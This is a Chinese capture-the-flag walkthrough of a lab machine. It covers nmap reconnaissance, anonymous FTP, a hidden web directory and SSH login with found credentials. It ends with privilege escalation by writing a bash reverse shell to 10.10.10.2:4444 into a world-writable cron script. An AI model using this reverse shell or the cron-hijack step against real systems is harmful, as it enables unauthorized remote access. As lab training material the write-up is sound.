靶机下载地址
信息收集
主机探测
sudo nmap -sn 10.10.10.0/24
初步扫描
sudo nmap -sT --min-rate 10000 -p- 10.10.10.12
可知开放3个端口
21/tcp open ftp
22/tcp open ssh
80/tcp open http
详细扫描
sudo nmap -sT -sC -sV -O -p 21,22,80 10.10.10.12
21/tcp open ftp vsftpd 3.0.2 可匿名登录,有一个lol.pcap文件,看文件后缀是一个wireshark或者tcpdump的文件。
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
Http-enum:
/secret/
Running: Linux 3.X|4.X
漏洞脚本扫描
sudo nmap -sT --script=vuln -p 21,22,80 10.10.10.12
只有DOS漏洞。
UDP扫描
sudo nmap -sU --top-ports 100 10.10.10.12
渗透流程
web渗透
登录FTP下载文件,用strings查看,发现提示我们有一个sup3rs3cr3tdirlol
就是超级秘密目录,但是ftp里面没有其它目录,估计就是web上面的目录。
发现确实有这样一个目录,下面有一个文件。
查看内容发现是二进制
运行发现打印了Find address 0x0856BF to proceed
说的是找到一个地址,估计其实就是是一个路径。
访问得到两个目录,猜测就是账户密码
结构
good_luck-----------------------------------------|
which_one_lol.txt
maleus
ps-aux
felux
Eagle11
genphlux < -- Definitely not this one
usmc8892
blawrg
wytshadow
vis1t0r
overflow
this_folder_contains_the_password------|
Pass.txt
Good_job_:)
SSH登录
经过多次尝试和猜测,终于是用overflow Pass.txt成功SSH登录。期间尝试过密码喷射,但是密码实际是文件名而不是文件里的内容。
权限提升
寻找计划任务日志文件,因为没权限直接看/etc/crontab
find / -name cronlog 2>/dev/null
成功发现一个/var/log/cronlog
找到计划任务执行的文件/lib/log/cleaner.py,用ls -l查看该文件所有人可读写执行。 可以用多种方法提权,我这里用反弹shell。
写入反弹shell
os.system("/bin/bash -c 'bash -i >& /dev/tcp/10.10.10.2/4444 0>&1'")
KALI开启监听
成功反弹shell,提权成功,flag为:702a8c18d29c6f3ca0d99ef5712bfbdc
总结
通过FTP登录得到一个pcap文件,通过分析该文件得到一个目录,并根据后续的提示成功拿到SSH登录的用户名密码,最终通过计划任务提权,总体来说难度不高。